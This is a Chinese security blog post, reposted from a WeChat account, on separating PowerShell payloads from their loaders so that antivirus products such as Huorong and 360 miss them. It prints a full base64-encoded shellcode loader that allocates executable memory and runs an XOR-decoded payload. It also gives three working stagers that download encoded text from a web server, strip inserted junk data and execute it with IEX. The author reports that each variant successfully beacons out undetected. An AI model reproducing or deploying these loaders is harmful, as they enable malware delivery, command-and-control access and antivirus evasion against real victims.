powershell分离免杀的几种简单方式

admin 2023年11月28日12:55:23评论48 views字数 7002阅读23分20秒阅读模式



powershell分离免杀的几种简单方式


免责声明


powershell分离免杀的几种简单方式

本公众号“猎洞时刻”旨在分享网络安全领域的相关知识,仅限于学习和研究之用。本公众号并不鼓励或支持任何非法活动本公众号中提供的所有内容都是基于作者的经验和知识,并仅代表作者个人的观点和意见。这些观点和意见仅供参考,不构成任何形式的承诺或保证。本公众号不对任何人因使用或依赖本公众号提供的信息、工具或技术所造成的任何损失或伤害负责。本公众号提供的技术和工具仅限于学习和研究之用,不得用于非法活动。任何非法活动均与本公众号的立场和政策相违背,并将依法承担法律责任。本公众号不对使用本公众号提供的工具和技术所造成的任何直接或间接损失负责。使用者必须自行承担使用风险,同时对自己的行为负全部责任。本公众号保留随时修改或补充免责声明的权利,而不需事先通知

  设置星标,可以获得公众号文章的大图推送,感谢各位表哥的关注!!!


powershell分离免杀的几种简单方式


生成powershell文件

powershell分离免杀的几种简单方式

powershell分离免杀的几种简单方式

下面是ps1文件内容,绿色部分,就是我们要进行分离的代码。

powershell分离免杀的几种简单方式

最简单的base64分离免杀

将下刚才圈起来的代码复制下来,直接进行base64编码

powershell分离免杀的几种简单方式


编码后变成下面这样

ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCAoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW52b2tlKCRudWxsLCBAKCR2YXJfbW9kdWxlKSkpKSwgJHZhcl9wcm9jZWR1cmUpKQp9CgpmdW5jdGlvbiBmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIHsKCVBhcmFtICgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSAkdmFyX3BhcmFtZXRlcnMsCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEpXSBbVHlwZV0gJHZhcl9yZXR1cm5fdHlwZSA9IFtWb2lkXQoJKQoKCSR2YXJfdHlwZV9idWlsZGVyID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVmbGVjdGVkRGVsZWdhdGUnKSksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywgJHZhcl9yZXR1cm5fdHlwZSwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCglyZXR1cm4gJHZhcl90eXBlX2J1aWxkZXIuQ3JlYXRlVHlwZSgpCn0KCltCeXRlW11dJHZhcl9jb2RlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMzh1cUl5TWpRNnJHRXZGSHFIRVRxSEV2cUhFM3FGRUxMSlJwQlJMY0V1T1BIMEpmSVE4RDR1d3VJdVRCMDNGMHFIRXpxR0VmSXZPb1kxdW00MWRwSXZOenFHczdxSHNESXZEQUgycW9GNmdpOVJMY0V1T1A0dXd1SXVRYncxYlhJRjdiR0Y0SFZzRjdxSHNISXZCRnFDOW9xSHMvSXZDb0o2Z2k4NnBuQndkNGVFSjZlWExjdzN0OGVhZ3h5S1YrUzAxR1Z5TkxWRXBOU25kTGIxUUZKTnoyRXR4MGRIUjBkRXNaZFZxRTNQYktweU1qSTNnUzZuSnlTU0J5Y2tzZytpTWpjSE5MZEtxODVkejJ5Rk40RXZGeFN5TWhZNmR4Y1hGd2NYTkx5SFlOR056MnF1V2c0SE1TM0hSMFNkeHdkVXNPSlR0WTNQYW00eXluNENJakl4TGNwdFZYSjZyYXlDcExpZWJCZnR6MnF1SkxaZ0o5RXR6MkV0eDBTU1J5ZFhOTGxIVERLTnoybkNNTUl5TWE1RmVVRXR6S3NpSWpJOHJxSWlNank2amMzTndNYzJwUGRDTk12R1JTREsvdzVzdXlqREtZbFFFbzV0Y2hCczIxSVVNRWVQcGludXFMaDBQVmRWR1NVSmMrb0E2SUl3cnZDZDZsZUs4Tk1zQUdMM1JVVlB5dEVJZEFSUlQ1SVhLZG85ZTRJM1pRUmxFT1lrUkdUVmNaQTI1TVdVcFBUMElNRmcwVEF3dEFURTVUUWxkS1FVOUdHQU51Y0dwbUF4b05FeGdEZEVwTlIweFVVQU50ZHdNVkRSSVlBM1JLVFJVWEdBTmJGUmNZQTNkUlNrZEdUVmNNRmcwVEdBTnVZbTlnQ2k0cEl4ems4eVFLcWpXdmxQcTBVQTUwY3NiR3pBZDNyakRRWE9MV04rbUIwUHA0dklzcWpiMnlKZy80by9USkh2OEZiajJuQ0VxdEViNGIwZGFXamw4VnFMZERRdDNmU2tOeE9MY050blNSWEM2T0h5TDY1NlQ4MXFROFI1UVQ0SWJuMGtVUmNoYWV1TGR4K1AyOHlKRVRJaUw3cWZ2c3hCMEhmbFlrOThDNytQbHh1L2E4bDZqQWtzcHJjdmw2UnZVNldIcCt3K3BLbUNRTGpLN3lLT1FTMjBYbDMvczdwUWp5TERVUlE3RndVVUwwRmszU2hCZW1XQVlTTExja3FvUjJpZVZFeklIUGdTbllSWk8vRTdhNFdTTkwwNWFCZGR6MlNXTkxJek1qSTBzakkyTWpkRXQ3aDNERzNQYXdtaU1qSXlNaStuSndxc1IwU3lNREl5TndkVXN4dGFyQjNQYW00MWZscUNRaTRLYmpWc1o3NE11SzN0emNFaG9SRFJJVkd3MGFFUTBTRVJzakdmMUxrZz09JykKCmZvciAoJHggPSAwOyAkeCAtbHQgJHZhcl9jb2RlLkNvdW50OyAkeCsrKSB7CgkkdmFyX2NvZGVbJHhdID0gJHZhcl9jb2RlWyR4XSAtYnhvciAzNQp9CgokdmFyX3ZhID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoKGZ1bmNfZ2V0X3Byb2NfYWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jKSwgKGZ1bmNfZ2V0X2RlbGVnYXRlX3R5cGUgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKSkpCiR2YXJfYnVmZmVyID0gJHZhcl92YS5JbnZva2UoW0ludFB0cl06Olplcm8sICR2YXJfY29kZS5MZW5ndGgsIDB4MzAwMCwgMHg0MCkKW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkdmFyX2NvZGUsIDAsICR2YXJfYnVmZmVyLCAkdmFyX2NvZGUubGVuZ3RoKQoKJHZhcl9ydW5tZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCR2YXJfYnVmZmVyLCAoZnVuY19nZXRfZGVsZWdhdGVfdHlwZSBAKFtJbnRQdHJdKSAoW1ZvaWRdKSkpCiR2YXJfcnVubWUuSW52b2tlKFtJbnRQdHJdOjpaZXJvKQ==


然后将这一串base64编码的内容,放到一个web目录下,我放在这个pw1.txt文件,可以看到预览内容全部都是base64编码。

powershell分离免杀的几种简单方式


然后再将原本的powershell文件进行改造,框住的代码全部删除,改成远程加载,然后再对加载的base64编码进行解码即可。代码如下。最后文件命名为basex86-4.ps1

Set-StrictMode -Version 2
$DoIt=((New-Object System.Net.Webclient).DownloadString('http://192.168.92.1/powershell/pw1.txt'))
$basetest=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))

If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $basetest | wait-job | Receive-Job}else { IEX $basetest}

powershell分离免杀的几种简单方式


这个是这几个中最基础也是最简单的,但是免杀效果反而是比较好的,搞的越复杂,那个某绒,某60反而直接给你杀了。

powershell分离免杀的几种简单方式

powershell分离免杀的几种简单方式


运行basex86-4.ps1,可以成功上线,并且长时间过去也没有查杀。

powershell分离免杀的几种简单方式


base64编码上面添加脏数据

这个是在远程加载的base64代码上面随意添加脏数据,然后在解码直接就把脏数据给替换掉,然后再解码,比上面的就多了一个添加脏数据的过程。

在需要分离加载的web目录下创建文件pw2.txt,然后再将上面的那个base64代码直接拷贝上去,然后再在代码里面插入脏数据。

powershell分离免杀的几种简单方式

添加后,就需要在原本的ps1文件内进行替换掉这些脏数据,再进行解密。代码如下。

Set-StrictMode -Version 2
$DoIt=((New-Object System.Net.Webclient).DownloadString('http://192.168.92.1/powershell/pw2.txt'))
$DoIt=$DoIt.Replace('A1xxNy','')
$basetest=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))

If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $basetest | wait-job | Receive-Job}else { IEX $basetest}

可以正常运行。

powershell分离免杀的几种简单方式


这样做反而受到了某绒的关注,gg

powershell分离免杀的几种简单方式


但是360没有扫描出来

powershell分离免杀的几种简单方式


在源代码插入脏数据

这个和上一步不一样,这个是直接在原本的代码插入脏数据,再base64编码放置在web目录下,进行远程加载的时候,先进行解码,再替换掉脏数据,随后再运行。

直接在代码插入脏数据,然后进行base64加密。

powershell分离免杀的几种简单方式

加密后代码如下,放到web目录下。

powershell分离免杀的几种简单方式

总共代码如下

Set-StrictMode -Version 2
$DoIt=((New-Object System.Net.Webclient).DownloadString('http://192.168.92.1/powershell/pw3.txt'))

$basetest=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))$basetest=$basetest.Replace('A1xxNy','')

If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $basetest | wait-job | Receive-Job}else { IEX $basetest}

先进行解密,再替换掉脏数据。

虽然说,有些许报错,但是不影响运行。

powershell分离免杀的几种简单方式

这个依旧收到了某绒的关注,但是360暂时没有查杀出来。


powershell分离免杀的几种简单方式

powershell分离免杀的几种简单方式

最终使用第一种方式可以成功过某绒,某绒没有任何反应,反而第二种,第三种的带脏数据的受到了某绒的关注。这三种,在某60是一开始可以绕过检测并上线,但是过一会还是可能会被查杀。这些只是简单的免杀,仅仅这些还是不足够的,还需更多其他的免杀姿势。


欢迎加入内部圈子

    更多更好的漏洞报告都在内部圈子中~!现在内部圈子,仅需68元便可永久加入!!一次付款终身享受!!!内部持续分享企业赏金SRC报告CNVD报告edusrc报告,还有各种各样的学习教程,学习文章,持续分享安全领域各大破解工具扫描下面的二维码便可加入,有兴趣的表哥可以扫码预览圈子内容!!

powershell分离免杀的几种简单方式

powershell分离免杀的几种简单方式


现在仅需68永久加入内部圈子,欢迎各位表哥的加入!

想进入交流群的,请扫码下方二维码加我。

powershell分离免杀的几种简单方式



原文始发于微信公众号(猎洞时刻):powershell分离免杀的几种简单方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日12:55:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   powershell分离免杀的几种简单方式http://cn-sec.com/archives/2247561.html

发表评论

匿名网友 填写信息